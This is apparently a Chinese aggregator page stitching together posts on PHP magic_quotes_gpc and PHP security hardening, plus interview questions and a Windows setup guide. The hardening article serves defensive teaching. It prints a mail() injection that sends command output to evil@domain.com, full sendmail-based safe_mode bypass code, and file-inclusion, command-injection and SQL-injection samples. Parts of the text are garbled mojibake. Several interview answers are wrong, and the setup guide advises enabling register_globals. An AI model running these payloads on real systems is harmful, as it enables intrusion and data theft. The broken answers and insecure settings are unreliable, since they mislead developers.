phpgpc變數,php gpc

本文目錄一覽:

php安全配置 如何配置使其更安全

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是針對Win32平台,所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:

? mail(“foo@bar,”foo”,”bar”,””,$bar); ?

執行如下的URL:

;/usr/bin/id|mail evil@domain.com

這將id執行的結果發送給evil@domain.com。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

?

# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣

$script=”/tmp/script123″;

$cf=”/tmp/cf123″;

$fd = fopen($cf, “w”);

fwrite($fd, “OQ/tmp

Sparse=0

R$*” . chr(9) . “$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script”);

fclose($fd);

$fd = fopen($script, “w”);

fwrite($fd, “rm -f $script $cf; “);

fwrite($fd, $cmd);

fclose($fd);

mail(“nobody”, “”, “”, “”, “-C$cf”);

?

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。

所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:

?include(“index.html”)?

幾個文件的屬性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r–r– 1 root root 4110 Oct 26 2002 index.html

-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

safe_mode_gid = On

設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string

當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。

safe_mode_allowed_env_vars string

設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!

safe_mode_protected_env_vars string

本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = “EGPCS”(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:

?

//test_1.php

if ($pass == “hello”)

$auth = 1;

if ($auth == 1)

echo “some important information”;

else

echo “nothing”;

?

攻擊者只需用如下的請求就能繞過檢查:

這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞

PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接註冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。

解決方法:

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變數在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷:

?

//test_2.php

if (!($str = readfile(“$filename”))) {

echo(“Could not open file: $filenameBR\n”);

exit;

}

else {

echo $str;

}

?

由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

如下請求可以讀php文件本身:

PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷:

?

//test_3.php

if(file_exists($filename))

include(“$filename”);

?

這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,的內容是?passthru(“ls /etc”)?,那麼如下的請求就可以在目標主機執行命令ls /etc:

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。

對於另外一種形式,如下代碼片斷:

?

//test_4.php

include(“$lib/config.php”);

?

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

解決方法:

要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)

$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )

$file_size #上傳文件的大小

$file_name #上傳文件的原始名稱

$file_type #上傳文件的類型

推薦使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼:

?

//test_5.php

if(isset($upload) $file != “none”) {

copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);

echo “文件”.$file_name.”上傳成功!點擊a href=\”$PHP_SELF\”繼續上傳/a”;

exit;

}

?

html

head

title文件上傳/title

meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″

/head

body bgcolor=”#FFFFFF”

form enctype=”multipart/form-data” method=”post”

上傳文件:

input type=”file” name=”file” size=”30″

input type=”submit” name=”upload” value=”上傳”

/form

/body

/html

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。

下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

… ile_name=attack.txt

然後可以用如下請求讀取口令文件:

攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。

攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。

攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法:

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。

使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。

嚴格檢查上傳變數。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP腳本用phpencode進行加密,避免由於copy操作泄漏源碼。

嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。

對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3換成php3_engine off

/Directory

重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

?

//test_6.php

system(“traceroute $a_query”,$ret_strs);

?

由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令:

;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和“等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法:

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題:

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的欄位,很多程序員會這樣寫:

select * from test where id=$id

由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。

解決方法:

要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。

即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。

在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE … 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息:

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。

正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這裡再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 “open_basedir = /dir/incl” 也會允許訪問 “/dir/include” 和 “/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:”open_basedir = /dir/incl/”。

可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。

如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,

2、去掉apache日誌其它用戶的讀許可權

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。

如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。

當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

程序員面試必備PHP基礎面試題 – 第十三天

一、在HTTP1.0中,狀態嗎500的含義的是什麼?如果返回「找不到文件」的提示,則可用header(函數),其語句為?

500 Internal Server Error 伺服器遇到了意料不到的情況,不能完成客戶的請求

Header(「 HTTP/1.0 404 NOT FOUND」);

二、數組函數arsort()的作用是什麼?語句err_reporting(2047)的作用是什麼?

arsort:對數組進行逆向排序並保持索引關係;

error_reporting(2047)的作用是:report All errors and warnings

三、語句include和require都能把另外一個文件包含到當前文件中,它們的區別是___;為避免多此包含同一個文件,可以用語句_____來代替它們。

在如何處理失敗時,include() 產生一個警告而 require() 則導致一個致命錯誤; require_once()/include_once()

四、get_magic_quotes_gpc的作用是_______

本函數取得 PHP 環境配置的變數 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。返回 0 表示關閉本功能;返回 1 表示本功能打開。當 magic_quotes_gpc 打開時,所有的 『 (單引號), 」 (雙引號), (反斜線) and 空字元會自動轉為含有反斜線的溢出字元。

五、在php中, heredoc是一種特殊的字元串, 他的結束標誌必須是_____

結束標識符所在的行不能包含任何其它字元除」;」

六、寫出一個正則表達式, 把$string中的所有數字全部刪除

preg_replace(『/d/U』,』』,$string);

七、找出/data1/source 目錄中大於100k 的文件, 並複製到 ~/tmp/35/下

find /data1/source +size 100k | cp ~/temp/35/

八、perl –pi –e 『s|ABCD|Linux|g』 `find ./ -type f`的含義是

find ./-type f:找尋當前目錄下的類型為f的文件

九、10 2 * * * /data0/apache/schedule/ussd/topnews/import_data.pl /dev/null 的含義:_______將import_data.pl清空或刪除

十、rsync -avu 105903.zip 218.206.86.68::mmsres/resource/291/205的含義:_________備份數據用

-a 歸檔模式,遞歸傳輸文件;

-v 詳細模式輸出;

-u, –update 僅僅進行更新,也就是跳過所有已經存在於DST,並且文件時間晚於要備份的文件。(不覆蓋更新的文件)

十一、寫出x,y的值

十二、使用純CSS實現未知寸的圖片(但高度都小於200px) 在200px的正方形容器中水平和垂直居中,HTML代碼如下

php輸入一個單引號為何輸出一個斜杠

在為wordpress後台添加統計代碼控制功能時,發現凡是提交到資料庫的內容中只要是帶有單引號或者雙引號的內容時,後面都會增加一個反斜杠。而且每保存一次增加一個反斜杠,很是鬱悶。

從網上搜了一下原來是PHP程序為了防止注入或者溢出,通過PHP 指令 magic_quotes_gpc自動在雙引號、單引號、反斜杠、NULL前面添加反斜杠「」。

統計代碼中自然是會帶有很多反斜杠的內容,這時候就要去掉添加的反斜杠。

默認PHP 指令 magic_quotes_gpc是on的,也就是打開的。這時候就可以用stripslashes() 函數刪除自動添加的反斜杠。用法就是:比如包含字元串的變數是$str,那麼就用stripslashes() 函數處理一下這個字元串:stripslashes($str),輸出的結果就是去掉反斜杠的。

於是我就把讀取的字元串內容用stripslashes()函數處理一下,即$value=stripslashes($str),再保存。上傳網站之後正常了。

但是又出現另外一個問題,那就是因為本地PHP 指令 magic_quotes_gpc是off的,如果用這個函數的話,就會把本來正常的反斜杠也去掉了。這樣就不是我們所希望的了。

解決辦法就是可以使用函數 get_magic_quotes_gpc() 進行檢測,如果是打開的狀態,那麼就去除反斜杠,如果是關閉的狀態,則不去除反斜杠。

程序代碼如下:

$str=$_POST[“str”];//讀取str的內容賦值給$str變數

if(get_magic_quotes_gpc())//如果get_magic_quotes_gpc()是打開的

{

$str=stripslashes($str);//將字元串進行處理

}

對指定的函數進行修改於測試,發現斜杠不會再繼續添加了。

本篇轉自轉載: 品味人生

php.ini 「magic_quotes_gpc」配置問題

我覺得應該配置成ON,一個是安全問題:配置成ON無形中減少了很多漏洞。另一個這樣是php解析時才正確。

PHP環境構建

PHP的配置有一些小細節需要注意,這是我的一點總結,到我博客去看看吧,有許多我學習過程中的經驗總結,注意我的並不是詳細的安裝教程,而是一些常見問題的解決方法。

這是從網上轉的一個教程,可以參考:

第一步:直接解壓縮放到D盤PHP5目錄下。

第二步:將 PHP 目錄添加到 PATH 環境變數中

在「我的電腦」上點右鍵,打開「屬性」頁面,選擇「高級」標籤頁,點擊「環境變數」按鈕,在「系統變數」欄中找到 Path 這一項(可能需要將滾動條向下滾動才能找到),滑鼠雙擊 Path 這一項,在最後加入PHP 目錄,包括前面的「;」(如: ;D:\PHP5 ),點擊「確定」;

第三步:為 PHP 設置一個有效的配置文件,php.ini。

在 ZIP 包中有兩個 ini 文件,php.ini-dist 和 php.ini-recommended。建議使用 php.ini-recommended,因為在該文件中優化了性能和安全。請仔細閱讀該文件中的注釋,因為它從 php.ini-dist 修改而來,會對設置產生較大的影響。例如將 display_errors 設置為 off,將 magic_quotes_gpc 設置為 off。除了閱讀這些部分,還可以學習一下 ini 設置,並手動設置每一個配置項目。如果想要最安全的設置,這是最好的方法,雖然 PHP 在默認配置下也是很安全的。複製所選擇的 ini 文件到 PHP 能找到的目錄中,並將其重命名為 php.ini 。 先將D:\PHP5\php.ini-recommended 重命名為 php.ini 。再用記事本打開 php.ini,查找register_globals = Off,把off改成On ;再查找short_open_tag = Off,把off改成On ,此處一般能解決運行安裝Discuz!論壇時出現空白的問題。 再查找extension_dir = “./” 改為 extension_dir = “D:\PHP5\ext” (指定動態連接庫的目錄,php5和php4不同的地方就是它的動態連接庫目錄變了,這在它的文檔結構里有詳細的說明) 然後再查找以下字元串,把代碼前的分號去掉。

extension=php_mbstring.dll 這個不選的話用phpMyAdmin會出現紅色提示

extension=php_dba.dll

extension=php_dbase.dll

extension=php_filepro.dll 可選

extension=php_gd2.dll 支持GD庫的,一般要滴 extension=php_imap.dll 可選 extension=php_ldap.dll

extension=php_mysql.dll 支持MySQL的

接下來修改了一些文件上傳以及內存使用最大限制:

memory_limit = 20M 內存容量

post_max_size = 20M 快閃記憶體容量

upload_max_filesize = 20M 附件容量 修改後保存關閉文件即可。

第四步:使 php.ini 文件在 Windows 下被 PHP 所用:

在「我的電腦」上點右鍵,打開「屬性」頁面,選擇「高級」標籤頁,點擊「環境變數」按鈕,在「系統變數」欄中,點擊「新建」按鈕並在「變數名」中輸入「PHPRC」,在「變數值」中輸入 php.ini 文件所在的目錄(例如: D:\PHP5 ),點擊「確定」

菜鳥php代碼分析求助

這些代碼都是為了兼容各個 PHP 版本和個人使用習慣而寫的。用於處理一些預定義變數。。涉及到的內容有三個方面:

PHP 早期版本兼容, 自動魔法變數兼容, 自動全局變數兼容。

早期的 PHP 版本里預定義變數名很長。get 變數的訪問方式是

$HTTP_GET_VARS[get變數名]

這種寫法在 php 4 以後做廢,但依然向下兼容。這裡為了統一起見,作者把它們全部換成了 $_GET ,並且轉換結束以後把這些不安全和舊式的預定義變數全部銷毀了。也是為了安全起見罷。

再下來就是自動魔法變數了。。也就是用戶提交上來的字元里。含有引號的問題。這裡應該少發了一個 Add_S 的自定義函數。這個方法里代碼是把數組裡的所有值的引號都加上 \ 。

然後是自動全局變數。這裡我並不認同作者的寫法。只是解讀。分別處理 GET 和 POST 變數,把合法的索引都變成普通變數。即 $_GET[‘a’] 轉換成 $a 。

這種做法很容易造成代碼混亂問題。並不建議使用。假設你在某處有一個變數名為 var 並且代碼開頭沒有初始化。而這時地址欄有人提交了一個 $_GET[‘var’] 就可以穿透你的代碼惡意注入變數值。以改變程序的運行效果。。例如:你的身份驗證代碼是

if($var != ”)

我只要在地址欄輸入 xxx.php?var=1 就可以直接讓這個代碼通過。 因為以上代碼早就把 get 變數處理成了普通變數。

在 PHP 的 php.ini 配置文件里。這個功能稱為自動全局變數,但是被證明了有以上安全問題,從 PHP 5 開始,這個功能不再自動開啟。作者應該是習慣了 PHP 4 時代的自動全局變數才設置了最後的幾行代碼。

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/270391.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-16 13:36
下一篇 2024-12-16 13:37

相關推薦

  • PHP和Python哪個好找工作?

    PHP和Python都是非常流行的編程語言,它們被廣泛應用於不同領域的開發中。但是,在考慮擇業方向的時候,很多人都會有一個問題:PHP和Python哪個好找工作?這篇文章將從多個方…

    編程 2025-04-29
  • int類型變數的細節與注意事項

    本文將從 int 類型變數的定義、聲明、初始化、範圍、運算和類型轉換等方面,對 int 類型變數進行詳細闡述和講解,幫助讀者更好地掌握和應用 int 變數。 一、定義與聲明 int…

    編程 2025-04-29
  • Python input參數變數用法介紹

    本文將從多個方面對Python input括弧里參數變數進行闡述與詳解,並提供相應的代碼示例。 一、基本介紹 Python input()函數用於獲取用戶輸入。當程序運行到inpu…

    編程 2025-04-29
  • Python匿名變數的使用方法

    Python中的匿名變數是指使用「_」來代替變數名的特殊變數。這篇文章將從多個方面介紹匿名變數的使用方法。 一、作為佔位符 匿名變數通常用作佔位符,用於代替一個不需要使用的變數。例…

    編程 2025-04-29
  • PHP怎麼接幣

    想要在自己的網站或應用中接受比特幣等加密貨幣的支付,就需要對該加密貨幣擁有一定的了解,並使用對應的API進行開發。本文將從多個方面詳細闡述如何使用PHP接受加密貨幣的支付。 一、環…

    編程 2025-04-29
  • Python變數在內存中的存儲

    該文章將從多個方面對Python變數在內存中的存儲進行詳細闡述,包括變數的聲明和賦值、變數的引用和指向、內存地址的變化、內存管理機制等。 一、聲明和賦值 在Python中,變數聲明…

    編程 2025-04-29
  • Python變數類型用法介紹

    Python是一種解釋型編程語言,它提供了豐富的數據類型,包括數字、字元串、列表、元組、集合、字典等。Python變數類型的定義是Python程序開發的基礎,本文將從以下幾個方面對…

    編程 2025-04-28
  • Python print輸出變數

    Python是一種腳本語言,語法簡單易懂,目前被廣泛應用於數據處理、人工智慧、web開發、遊戲開發等領域。其中print函數是Python中最常用的函數之一,用於將變數輸出到控制台…

    編程 2025-04-28
  • Python定義變數

    Python是一門高級編程語言,變數是Python編程中非常重要的一個概念。Python的變數定義方式非常簡單,可以在程序中隨時定義一個變數來存儲數據,這方便了整個程序的邏輯編寫,…

    編程 2025-04-28
  • Python中如何定義一個變數

    Python是一種高級編程語言,使用它您可以輕鬆地定義和操作變數。Python中的變數屬於動態類型變數,因此不需要在定義變數時指定其類型,而是在變數分配之前自動確定變數的數據類型。…

    編程 2025-04-28

發表回復

登錄後才能評論